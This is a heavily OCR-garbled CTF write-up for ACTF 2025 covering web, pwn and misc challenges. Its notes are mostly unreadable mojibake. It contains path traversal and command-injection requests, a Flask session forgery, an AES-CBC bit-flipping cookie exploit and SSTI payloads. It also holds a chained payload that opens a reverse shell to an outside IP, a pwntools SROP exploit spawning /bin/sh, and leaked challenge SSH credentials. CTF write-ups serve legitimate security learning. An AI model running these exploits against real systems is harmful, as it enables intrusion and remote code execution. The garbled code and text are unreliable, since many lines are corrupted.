ACTF2025 Writeup

He&: 22
AREGFFE
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ACTF Upload
FHEMEERM N — K S 215
HEXHERENXHREINEE, AIUERFE

ARIGIR
1 GET /upload?file_path=../../../../proc/self/environ HTTP/1.1
2 Host: 223.112.5.141:62990
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/135.0.0.0 Safari/537.36
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Accept-Encoding: gzip, deflate, br
7  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 Cookie: session=eyJlc2VybmFtZSI6IjEyMyJ9.aAxeCw.0dAncgwbeSQVY1l6ZfJlt-hrzfHc;
© sec-gpc: 1
10  Connection: keep-alive
11
12
REFE T E A LAEZ flask secret_key S3cRetK3y

#AIE1EEY /proc/self/cmdline Z%| python B&1Z /app/app.py; AEI%EX /app/app.py

HADIR

o 0 b~ W N R

import uu-id

import os

import hashlib

import base64

from flask import Flask, request, redirect, url_for, flash, session
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app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY') # S3cRetK3y

@app.route('/")
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:

return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256 (password.encode()) .hexdigest() ==
'32783cef30bc23d9549623aa48aa8556346d78bd3cab04f277d63d6e573e8cel ' :
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>

<input type="text" id="username" name="username" required>

<br>
<label for="password">Password:</label>

<input type="password" -id="password" name="password" required>

<br>
<input type="submit" value="Login">
</form>

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
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file_path = str(uuid.uuid4()) + '_" + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<hl1>Upload Image</h1l>

<form action="/upload" method="post" enctype="multipart/form-data">

<input type="file" name="file">
<input type="submit" value="Upload">

</form>
rr
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':

with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}"
alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64")
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}"
alt="Uploaded Image'>'

return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__"':
app.run(host='0.0.0.0"', port=5000)

RIERIG AT admin AP ERESCHIIFESREN

/8 flask-unsign £43& username 3 admin B9 session

AR
1 $ flask-unsign -s -c "{'username':'admin'}" --secret S3cRetK3y
2  eyJlc2VybmFtZSI6ImFkbWluIn®.aAxcaw.FdFR_GEeed2xdGfbBGTuUi-tclg

TENIZ2AREME, i ls /> /tmp/atxt, FAFIEE /tmp/a.txt

(AGEEZS
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GET /upload?file_path="1s+/>/tmp/a.txt’ HTTP/1.1

Host: 223.112.5.141:62990

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;gq=0.9,image/avif,image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn®.aAxcaw.FdFR_GEeed2xdGfbBGTuUi-tclg
dnt: 1

sec—gpc: 1

Connection: keep-alive

B LUKIE flag B7E T /Fldg_is_H3r3, R/5iEEX flag (i E

(ANEES

1 GET /upload?file_path=../../../../Fl4g_is_H3r3 HTTP/1.1

2 Host: 223.112.5.141:62990

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36

(KHTML, T1like Gecko) Chrome/135.0.0.0 Safari/537.36

5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;9=0.8,application/signed-exchange;v=b3;9=0.7

6 Accept-Encoding: gzip, deflate, br

7  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

8 Cookie: session=eyJ1c2VybmFtZSI6IjEyMyJ9.aAxeCw.0dAncgwbeSQVY1l6ZfIlt-hrzfHc;

S sec-gpc: 1

10  Connection: keep-alive
11
12

not so web 1

ReEEM— kP EFh/E R LB 2R

(ANEES

1 import base64, json, time

2 import os, sys, binascii

3 from dataclasses 7mport dataclass, asdict



© 0o N o »u h

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask 7import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,

session,

app = Flask(__name__)
app.secret_key = KEY

@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str

register_time: int

# In-memory store for user registration
users: Dict[str, APPUser] = {

"admin": APPUser (name="admin", password_raw=ADMIN_PASSWORD,
register_time=-1)

}

def validate_cookie(cookie: str) -> bool:
7f not cookie:

return False

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:

return False

7f len(cookie_encrypted) < 32:
return False

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, -v)
cookie_json = cipher.decrypt(padded)

except ValueError:
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return False

try:
_ = json.loads(cookie_json)
except Exception:

return False

return True

def parse_cookie(cookie: str) -> Tuple[bool, str]:
7f not cookie:
return False, ""

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:

return False, ""

if len(cookie_encrypted) < 32:
return False, ""

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, 1v)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:

return False, ""
try:

cookie_dict = json.loads(cookie_json)
except Exception:

return False, ""

return True, cookie_dict.get("name")

def generate_cookie(user: APPUser) -> str:

18in] ChatGPT 840727 AES CBC FHBIRIE, 57— T4
oM xxxxx/password FiFP, BEFEEZEZI cookie IEE TEMUE

(GRS

1 import base64
2 import json

3 import os
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from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from dataclasses 7mport dataclass, asdict

# & server. pyHILEH]
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int

# BIBENIBIIRAES (FFSKES "admin"16/a)

test_user = APPUser (name="xxxxx", password_raw="password", register_time=-1)

cookie_dict asdict(test_user)

cookie_json = json.dumps(cookie_dict)

print (f"JSON#IE: {cookie_json}")
print(f"JSONKE: {len(cookie_json)}")

# fHE "name " FEZTEISONFHI &

name_pos = cookie_json.find('"name"")

print(f"namefiZ: {name_pos}")

name_value_pos = cookie_json.find(""xxxxx"")
print(f"namefEfI&: {name_value_pos + 1}") # +1 BKIW5/5

# FBEIEUHIE/RIGLE T base64iFEE/EHcookie

# IE S HYIE 7S [Ebas e 64415 AL T

original_cookie_base64 =
"tTQN4mtdoxm50LHVcO1n1QVC68ncXQ2n2sB2dtYQupOLukWyu/9AnJj8bVzYyFCCSTFjOPHRUFZTYE
0JPxzpMnOqgzzv/nv11lVcllfPE79/J4NFoVhTxsFsVcvoLyhxy7"

# By E(EHvalidate=FalseABSIEFAITE

original_cookie_bytes = base64.b64decode(original_cookie_base64,

validate=False)

# DIEIT EFEEHIXORIRIE

target_name = "admin"

original_name = "»ooxx"

diff = [ord(t) * ord(o) for t, o in zip(target_name, original_name)]

# e EnamelEBTEHF TNAESIRAE

block_size = 16

name_block = (name_value_pos + 1) // block_size
name_offset = (name_value_pos + 1) % block_size

print(f"namefETESE {name_block} MR, 1R E {name_offset}")

# HNEIEM /S cookie



48 modified_data = bytearray(original_cookie_bytes)
49 for i, d in enumerate(diff):

50 7f name_block == 0:

51 # HRnameTEE— TR, 1EHIV

52 modified_data[name_offset + i] ~= d

53 else:

54 # ESINEM L — TR (L ERIZX

55 modified_data[ (name_block-1)*block_size + name_offset + i] A= d
56

57  fake_admin_cookie = base64.b64encode(modified_data).decode()

58 print(f"fAiEMadmin cookie: {fake_admin_cookie}")
59

RIGIR

1 $ python exploit.py

2 JSON##E: {"name": "xxxxx", "password_raw": "password", "register_time": -1}
3 JSONKE: 66

4  namefif: 1

5 namefBfUE: 10

6 namefETEEO MR, RIZE10

7 fAiEMadmin cookie:

tTQN4mtdoxm50Kj JZTxx1QVC68ncXQ2n2sB2dtYQupOLukWyu/9AnJj8bVzYyFCCSTFjOPHRUfZTyEoO
JIPxzpMnOqzzv/nv11Vcl1fPE79/J4NFoVhTxsFsVcvolyhxy7

ZER— MR HA ssti

(ASEEN

1 GET /home?payload={{7x7}} HTTP/1.1

2 Host: 61.147.171.105:52418

3 Pragma: no-cache

4  Cache-Control: no-cache

5 Upgrade-Insecure-Requests: 1

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10_15_7) AppleWebKit/537.36
(KHTML, T1like Gecko) Chrome/135.0.0.0 Safari/537.36

7  Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br

9  Accept-Language: zh-CN,zh;g=0.9,en;gq=0.8

10 Cookie:
jwbcookie=tTQN4mtdoxm50KjJIZ1xx1QVC68ncXQ2n2sB2dtYQupOLukWyu/9AnJj8bVzYyFCCSTF;0
PHRUfZTyE0oJPxzpMnOqzzv/nv11Vcl1fPE79/J4NFoVhTxsFsVcvolLyhxy7

11 dnt: 1

12 sec-gpc: 1



13  Connection: keep-alive
14
15

fenjing —1B1&

EGIR

1 fenjing crack -u http://61.147.171.105:52418/home —--cookies
'jwbcookie=tTQN4mtdoxm50KjIZ1xx1QVC68ncXQ2n2sB2dtYQupOLukWyu/9AnJj8bVzYyFCCSTF]
OPHRUTZTyE0JPxzpMnOqzzv/nv11VcllfPE79/J4NFoVhTxsFsVcvolLyhxy7' -m GET -i payload

HADIR

[INFO] | Adding some string variables...

[INFO] | Start generating final expression...

[INFO] | Great! gen_string_1 says string('\'"generate_me": os.popen('"cat /fx
Jfx").read(),\'"') can be '\'"generate_me": os.popen("cat /fx ./fx").read(),\"’
[INFO] | Searching flags...

[INFO] | Adding some string variables...

[INFO] | Start generating final expression...

[INFO] | Great! we generate eval_func()

© 0o N o 0~ W N K

[INFO] | Great! we generate eval(('item', ('attribute', ('flask_context_var',
'request'),

10 'values'), 'eval_this'))

11 [INFO] | Submit payload

12 {{sbwaf.__eq__.__globals__.__builtins__.eval(request.values.eval_this)}}

13 [INFO] | This might be your flag:

14 [INFO] | ['ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4b13_CO0Kie}']

15 [INFO] | No thanks.

Excellent-Site
smtp header 7N, fA3i& From & admin@ezmail.org

[&@E admin & fetch content ZAF#11T SSTI, FiF1E fetch BIBHMEIFETE SSRF 1N, EHIEFBIZFAS
BH SQL JENME payload Fhrl LAGkD

REGIR

1 import requests

2 from urllib.parse 7import quote
3 import base64
4
5

url = 'http://61.147.171.105:57764/"'


mailto:admin@ezmail.org

eval_payload = '"''__+dmport__('os') .popen('bash -c "bash -i >&
/dev/tcp/120.55.184.209/65123 0>&1""').read() """’

9 payload =
r'{{sbwaf.__eq__.__globals__.__builtins__.eval("eval(__import__(\"base64\") .b64
decode(\"' + base64.b64encode(eval_payload.encode()).decode() +
r'\").decode())")}}'

10

11  param = quote("® union select '"" + payload + "''")

12

13 report_url = 'http://ezmail.org:3000/news?id="' + param + '\r\nFrom:
admin@ezmail.org'

14

15 content = 'hello\r\n.\r\nFrom: admin@ezmail.org\r\nTo:
admin@ezmail.org\r\nSubject: http://ezmail.org:3000/news?id="' + param +
"\r\n\r\nhello'

16

17 resp = requests.post(url + '"/report', data={'url': report_url, 'content':
content})

18 print(resp.text)

19

20 resp = requests.get(url + '/bot'")

21 print(resp.text)

not so web 2

fFB5R

1 import base64, json, time

2 import os, sys, binascii

3 from dataclasses 7import dataclass, asdict

4  from typing import Dict, Tuple

5 from secret import KEY, ADMIN_PASSWORD

6 from Crypto.PublicKey import RSA

7 from Crypto.Signature import PKCS1_v1_5

8 from Crypto.Hash import SHA256

9 from flask 7import (

10 Flask,

11 render_template,

12 render_template_string,
13 request,

14 redirect,

15 url_for,

16 flash,

17 session,
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app

app.

abort,

= Flask(__name__)
secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):

private_key RSA.importKey (open("/etc/ssl/nginx/local.key", "r'").read())

else:

private_key RSA.generate(2048)

public_key = private_key.publickey()

@dataclass

class APPUser:

name: str
password_raw: str

register_time: int

# In-memory store for user registration
users: Dict[str, APPUser] = {

"admin": APPUser (name="admin", password_raw=ADMIN_PASSWORD,

register_time=-1)

}

def

def

validate_cookie(cookie_b64: str) -> bool:
valid, _ = parse_cookie(cookie_b64)

return valid

parse_cookie(cookie_bé64: str) -> Tuple[bool, str]:
7f not cookie_b64:
return False, ""

try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:

return False, ""

try:
msg_str, sig_hex = cookie.split("&")
except Exception:

return False, ""

msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)



64 try:

65 PKCS1_v1_5.new(public_key) .verify(msg_hash, sig)
66 valid = True

67 except (ValueError, TypeError):

68 valid = False

69 return valid, msg_dict.get("user_name')

70

71 def generate_cookie(user: APPUser) -> str:

72 msg_dict = {"user_name": user.name, "login_time": int(time.time())}
73 msg_str = json.dumps(msg_dict)

74 msg_str_bytes = msg_str.encode()

75 msg_hash = SHA256.new(msg_str_bytes)

76 sig = PKCS1_v1_5.new(private_key).sign(msg_hash)

77 sig_hex = sig.hex()

78 packed = msg_str + "&" + sig_hex

79 return base64.b64encode (packed.encode()) .decode()

80

81 @app.route("/")
82 def 1index():

83 7f validate_cookie(request.cookies.get("jwbcookie™)):
84 return redirect(url_for("home'))

85 return redirect(url_for("login"))

86

87 @app.route("/register". methods=["GET". "POST"T1)

parse_cookie FYBHETZIETRPA



CTF Crypto Challenge: Cookie Vulnerabilit:
e python

IRARETERT PKCS1_VI_5 EEAR, ZARFE—TXEE: WIERBIEEZERM
AR, MEETNERERRRIIELRY.

B IAFIFAX N ERETRIE admin cookie:

1. IEEFRB—1THSKSHBEM cookie

2. Base64 fi#h3i% cookie

3. {824 JSON B9y "user_name" {E# "admin"
4. ZREFRERAE

5. & Base64 4zh5

RXEFFIIER cookie RGETINIE, EA PKCS1_v1_Swverify() FERLFL FRIRE None (Fbth
FE) BMEZERALE, S valid HEIRHIRE N True,

X2 RSA PKCS1_v1_5 BERARHN—RHIRE, WEHEETNENZREHNERTERAFPN
B, BIEEEA,

fESERRFIAAE, fRATRA:
1. A — T EBKF HER

2. 3REMRAY jwbcookie B

3. fiREBIX cookie: baseb4.b64decode(cookiefd).decode()

4. {24 JSON #B4%: {"user_name":"admin","login_time":12345}
5. RIGERBOAE

6. Ef4w3: base64.b64encode (${E.encode()).decode()

7. BRIRM cookie B

EM— K 123/123, EREEZEZ cookie

SR538 username 2B admin

(GRS

GET /home?payload=123 HTTP/1.1

Host: 61.147.171.106:62996

Cookie:
jwbcookie=eyJ1c2VyX25hbWUi0iAiYWRtaW4iLCAibGOnaW5fdG1ltZSI6IDE3NDU2NFM5MTI9J IkY
TFjNzI3YWZiZTAXZFES5YTRhYjM4YWI TN cONDRhYjViOWViZjImM2MANGM3YTM5ZWQzYWY2YjBINZzV]
ZWUOODIOZWI1ZjBiZWN1OThlYzgyZDk3YzA4MTBiMTY2ZjdhNTFkOWMONmMNGZj1jMmNkZGYOMWESM2F
hNDcXMWEYNF VN IwOTZj ZTk2NzRKYTg2MDQyZmQXNDUXN2VmMNFNINZzUxY§ FiNDc1YzcOYF I2NTIyNw
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ViZmY3N2M5MzRKYTh1ZDMOMTAWM2ZKZTImY2QwMjVjOTFiNzM5NGY30WFjNmViNTIyOWM1YTL10TVhZ
DgyYzNhMmQyNDJI1ZmI30TUONWZKNTASNTMOZGEOMGVhND1i0TM1YjMyZTESZWIINTE3YzFLOWUwWOGNm
NTE3NGYOYmImMWY2MGNTINDgzMDE20TQWNj cxMTg20WFmMMGQ1YTUS5MzQWNzImMDY5NTViYzFKkMTVhOWY
wY2Q3N2M0OYzQ1MjVhZGQ2MmR1ZWQzMjBiZmVjZmQ2MTg3YTc3ZDcOZDUXN2U2NzZEOMThmZTQ4NzBj YT
I2YzMIMWQ2NzkxZWQ1ZWIwZDZmNDKk1ZTIwYmQOODAYYWY3NWQONThjMmQ5MTcxZDEXZFE1YTUZNTISZ
mUOYzI4YzAOZmQ4YzYwY2U4ZTk20DdjZmN1YZzhT1OTNmNZzA2

Cache-Control: max-age=0

Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: 2?0

Sec-Ch-Ua-Platform: "macOS"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, T1like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Dnt: 1

Sec-Gpc: 1

Priority: u=0, 1

Connection: keep-alive

2[5 fenjing —18#2

(ASEEES

1

fenjing crack -u https://61.147.171.106:62996/home --cookies
'jwbcookie=eyJ1c2VyX25hbWUi0iAiYWRtaW4iLCAibGInaW5fdGltZSI6IDE3INDU2NjM5MTI9T Ik
YTFjNzI3YWZiZTAxZFES5YTRhYjM4YWITNjcONDRhYjViOWViZjImM2M4ANGM3YTM5ZWQzYWY2YjB1INzV
jZWUOGODIOZWI1ZjBiZWN1OThlYzgyZDk3YzA4MTBiMTY2ZjdhNTFKOWMONMNJZj 1jMmMNKZGYOMWESM2
FANDcXMWEyYNJ ViNj IwOTZj ZTk2NzRkYTg2MDQyZmQXNDUXN2VmNFNINzUXYjFiNDc1YzcOYjI2NTIyN
WViZmY3N2M5MzRkYThiZDMOMTAWM2ZKZTImY2QwMjVjOTFiNzM5NGY30WFjNmVjNTIyOWM1YT110TVh
ZDgyYzNhMmQyNDJI1ZmI30TUONWZKNTASNTMOZGEOMGVhND1i0TM1YjMyZTESZWIINTE3YZzF1LOWUwWOGN
mMNTE3NGYOYmImMWY2MGNINDgzMDE20TQWNj cxMTg20WFmMMGQ1YTU5MzQWNz LmMDY5NTViYzFKMTVhOW
YwY2Q3N2MOYzQ1MjVhZGQ2MmMR1ZWQzMjBiZmVjZmQ2MTg3YTc3ZDcOZDUXN2U2NZEOMThmZTQ4NzBjY
TI2YzMIMWQ2NzkxZWQ1ZWIwZDZmNDk1ZTIwYmQOODAYYWY3NWQONThjMmQ5MTcxZDEXZFELYTUZNTIS
ZmUOYzI4YzAOZmQ4YzYwY2U4ZTk20DdjZmN1Yzh1OTNmNzA2" -m GET -1 payload --no-

verify-ssl



fenjing crack -u https://61.147.171.106:62996/home --cookies -m GET -i

Not expected status code: 483 ... continue anyway
| Not expected status code: 403 ... continue anyway
| Not expected status code: 403 ... continue anyway

| Great! gen_string_x1 says string('eval_this') can be

| Great! we generate eval(('item', ('attribute'’
'values'), 'eval_this'))
| Submit payload

"eq" "globals"

, ('flask_context_var', 'request'),

"pbuiltins" AV CIAV VAV YAV CIAVES AV VAV GV

69\x73"
| This might be your
| ["ACTF{CVE-2014-0160-Yyds_h34R78LeEd_ooB_D47A_onLY}']
| No thanks.

Example/ T {4l :

$>> 1s /

$>> Peval 1+2+3+100000

$>> @get-config

Type @help for full help/#i A @help3R 15 5T 2 & Bh

$>>

Pwn

only read

w IDA - only_read.i64 (only_read) C:\Users\18510\Downloads\_media_file_task_55b52913-9507-4ae4-a1b6-64d1848f5deO\deploy\only_read.i64 o X
File Edit Jump Search View Debugger Lumina Options Windows Help
® B e€voev & &4 & t Ev @O 4ot d Fv# @ X > O O Nodebugger viEm e @ ¥
: (LI | I g
Library function Ml Regular function Ml Instruction Data Unexplored External symbol Ml Lumina function
@ Functions O& X @ 1DA View-A (x] @ Pseudocode-A @ @  Hex View-1 x] @  Structures x] B Enums [ @ Imports 2] Exports
Function name 1int _ fastcall main(int argc, const char **argv, const char **envp)
@ _init_proc 29
(7 sub_401020 3 char buf[128]; // [rsp+6h] [rbp-86h] BYREF
(7 sub_401030 4
@ _read .
D stert 5 read(o, %uﬂ ox800uLL);
7 _dl_relocate_static_pie 6 return 6;
[ deregister_tm_clones 7%}
@ register_tm_clones
7 __do_global_dtors_aux
@ frame_dummy
@ main
@ _term_proc
[A__libc_start_main
[Aread
@ __gmon_start__
Line 11 of 15 00001136 main:1 (401136)
E OQutput 0&x

401136: using gue’ssed type char buf[128];
Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)]
IDAPython 64-bit v7.4.0 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Python

AU: idle Up  Disk: 50GB



HtRABread(
EEBcsuBBIbR T , &R EFEHAmagic_gadget s

[
THHF) SEE EEV) S EEEnD s - S o a9 a0 [

£l K] 26r00n e @rerd0ne-virtual-machine: -/DesktopfACTF3
pwn *
P e-vietuabmachine: -{De e virtual-machine: ~/Desktop/ACTF/3

['1 '/home/zer@Bne/Desktop/ACTF/3 /pwn"
Arch: amd64-64-little
RELRO:
Stack:
NX:
PIE:
SHSTK:
IBT:
Stripped:

i R, WSIHE AR Cul+G,
RIFRVIERA T NX,gotRAE FNARTUEE R, A2 SMME S
KAVARA R (ERropXYEread.goti# 1T E %, 15 read.got->syscall
XAER] LT ret2syscall

ARG ER

1 from pwn dimport *

2

3  do=remote("1.95.199.251",9999)

4  1libc=ELF('./libc.so.6")

5 context.arch="amd64'

6 context.log_level="debug'

7  def bug():

8 gdb.attach(io)

9 def con():
10 jo.recvuntil(b"Submit the token generated by ")
11 key=io.recvuntil(b" ") [:-1]
12 token = os.popen(key.decode()).read().strip().encode()
13 jo.sendline(token)
14 jo.recvuntil(b"Here 1is your challenge~")
15  con()
16 bss=0x404800
17 got=0x404000



18 read=0x401142

19 Tleave=0x40115D

20 tar=0x404088

21 t2=0x404880

22 t3=0x404888

23 eax=0x401158

24 rbp=0x40111D

25

26  payload=b'\x00'*x0x80+p64 (tar+Ox80-0x8)+p64 (read)
27  do.send(payload)

28  pause()

29  payload=p64(bss+0x100-0x88) +p64 (read+4)

30 payload=payload.ljust(0x80,b'\x00")+p64 (bss-0x100)+p64(read)
31 do.send(payload)

32  pause()

7E¥Iread.goti#H 1T EMIZFIEFTEEbss LiErifrE rop, AAFEAread#1THERE G
rsp=3k Elread.got+0x80MI L &, LB EFA BT LU HII TR
Bt FEER T —MEBRFRYE R 1L M syscall_sigretrun=>eax=0xfif &

syscall_execv=>eax=0x3b,—f%eaxn] LLi&id read 89iR [B1{EZ &I, (B2 LB F A8 rsi#i £T1E T read.got

IR FENXFT MR read. gotFIAR, FRX N ARA R T HEFATFA....
RETHUREIRHIN T eax T EAreadizil,

w IDA - only_read.i64 (only_read) C:\Users\18510\Downloads\_media_file_task_55b52913-9507-4ae4-a1b6-64d1848f5deO\deploy\only_read.ic4 (=] X
it Jump Searc i Debugger ina Options Windows
“ & €« vo v & & & B t EFv @O o b @F FvEd @ X » @ O No debugger v E | [N
N Ly ir I | g
Library function Ml Regular function Ml Instruction Data Unexplored External symbol Ml Lumina function
[@ Functions O & X @ IDAViewA 8 [  Pseudocode-A B Hex View-1 B  Structures ) Enums & Imports & Exports
Function name .text:0000000000401136 ; int _ fastcall main(int argc, const char **argv, const char **envp)
@ _init_proc .text:0000000000401136 public main
(7 sub_401020 .text:0000000000401136 main proc near ; DATA XREF: _start+18To
@SUhAOW30 .text:0000000000401136
é—gi:i .text:0000000000401136 buf = byte ptr -86h
D01 relocate_static_pie . text:0000000000401136
(@ deregister_tm_clones .text:0000000000401136 ; _ unwind {
[Aregister_tm _clones v.text:0000000000401136 endbré4
@ __do_global_dtors_aux . text:000000000040113A push rbp
;Z?T]e,dumy .text:000000000040113B mov rbp, rsp
@ _term_proc . text :000000000040113E add rsp, -86h
[7__libc_start_main .text:0000000000401142 lea rax rbp+buf
Dread .text:0000000000401146 mov edx, 800h ; nbytes
\#__gmon_start__ . text:0000000000401148 mov rsi, rax ; buf
.text:000000000040114E mov edi, © ; fd
.text:0000000000401153 call _read
.text :0000000000401158 mov eax, 0
.text:000000000040115D leave
.text:000000000040115E retn |
.text:000000000040115E ; } // starts at 401136
.text:000000000040115E main endp
.text:000000000040115E
.text:000000000040115E _text ends
.text:000000000040115E
LOAD: 40115F ;
LOAD : 000000000040115F
LOAD:000000000040115F ; Segment type: Pure code
LOAD:000000000040115F ; Segment permissions: Read/Execute
00001136 0000000000401136: main (Synchronized with Hex View-1)
Line 11 of 15
E Output 0&x

401136: using gue’ssed type char buf[128];

Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:58) [MSC v.1916 64 bit (AMD64)]
IDAPython 64-bit v7.4.0 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Python

AU: idle Up Disk: 50GB



X B85 B T raxAreadE &, XtF X AN —KBEE, R AT L EF FAmain K E L& E LB mov
eax,0i##1Tread-syscal ,{EEX ML T — BB AUz AXEfgadgetizhlrax g 0xf, thEfcall read=
TR syscalli#{Tsigreturn, BB R H1ERITEbss LR & i sigreturnframeRiiF 7:)
HINEFEHITREKMBIread_syscalli&rspiEtiread.got, Mm@ TsigreturnBfrsp=ismIHA]
sigreturn.ropfV&fa/\ N F 1, [BREEXAZALAZXTexecv_syscalliE g &0

KREEEbss L ESF/bin/sh

AREGIR

1 from pwn 1dimport *

2

3  do=remote("1.95.199.251'",9999)

4  libc=ELF('./libc.so.6")

5 context.arch='amd64'

6 context.log_level="debug'

7 def bug():

8 gdb.attach(io)

9 def con():

10 jo.recvuntil(b"Submit the token generated by ")
11 key=io.recvuntil(b" ") [:-1]

12 token = os.popen(key.decode()).read().strip().encode()
13 jo.sendline(token)

14 jo.recvuntil(b"Here 1is your challenge~")

15  con()

16  bss=0x404800

17  got=0x404000

18 read=0x401142

19 leave=0x40115D

20 tar=0x404088

21 t2=0x404880

22 t3=0x404888

23 eax=0x401158

24 rbp=0x40111D

25

26  payload=b'\x00'*0x80+p64 (tar+Ox80-0x8)+p64 (read)
27  do.send(payload)

28  pause()

29 payload=p64 (bss+0x100-0x88) +p64 (read+4)
30  payload=payload.ljust(0x80,b'\x00"')+p64(bss-0x100)+p64(read)
31 do.send(payload)
32  pause()
33
34  s=SdigreturnFrame()
35 bin_sh=0x404718
36  s.rax=0x3b

w
~

s.rdi=bin_sh



38  s.rdx=0

39  s.rsi=0

40 S.rip=0x401044

41  payload =p64(bss).ljust(0x80,b'\x00"')+p64(got+Ox80)+p64(read)+p64(leave)

42  payload+=b"/bin/sh\x00"+b'\x00'*0x160+p64 (rbp)+p64 (Oxf+0x80)+p64 (read)+bytes(s)
[8:]

43  Hdo.send(payload)

44 pause()

45  do.send(b'\x5f")

46  pause()

47  do.sendline(b'a'")

48  do.interactive()

49

50

&
THE SEE SRV SUM EEED S8H) |- S 9 e e [Hen [-]

machine: ~/Desktop/ACTF/3

fter_corrupting_linkmdp}\n'
orrupting_1inkmdp}

B ERIZRIN, WRIREHEE AR Crl-G,

ZRBVIENA LB pause()# 1T ElfERio.sendNEIERA = EFE— P read
Misc

Signin | solved



« C O B github.com/team-s2/ACTF-2025/commit/79449e4170bb26b7874855e32¢17701b0709d4c9 X © v &

Q Filter files... E [ 1file changed +12 -0 lines changed M Top Q Search within code
[¥) README.md
v Reapme.md (3 +12 ssass 0D
. @@ -0,0 +1,12 @@

+

# ACTF-2025

+

Archive of AAA CTF 2025 (XCTF competition)

+

## Challenges

© W N AW AW oN R
+

- [Misc](#isc)
+ - [signin](¢signin)
+
+
+ ## Misc

10 +

11 + ### signin

P 8 ET-8IMACTF {w3 1coME2aCtf2025h@veAn1ceDAY } )

Comments 0

&

Please sign in to comment.

Hard guess | Solved

HADIR

1 sshikS%:
2  KatoMegumi
3 Megumi960923

B suidiPR % 3 /opt/hello

hello
’? 16.56KB

R4mER




IRiESE (main)

/* jsdec pseudo code output =/
/* C:\Users\24062\Downloads\hello @ @x11a5 %/
#include <stdint.h>

int32_t (void) {
edi = 0@

edi

)

*(var 9h),= Ox6e;

("Are you Tomoya?\ny/n:\n> ");
var_9h;
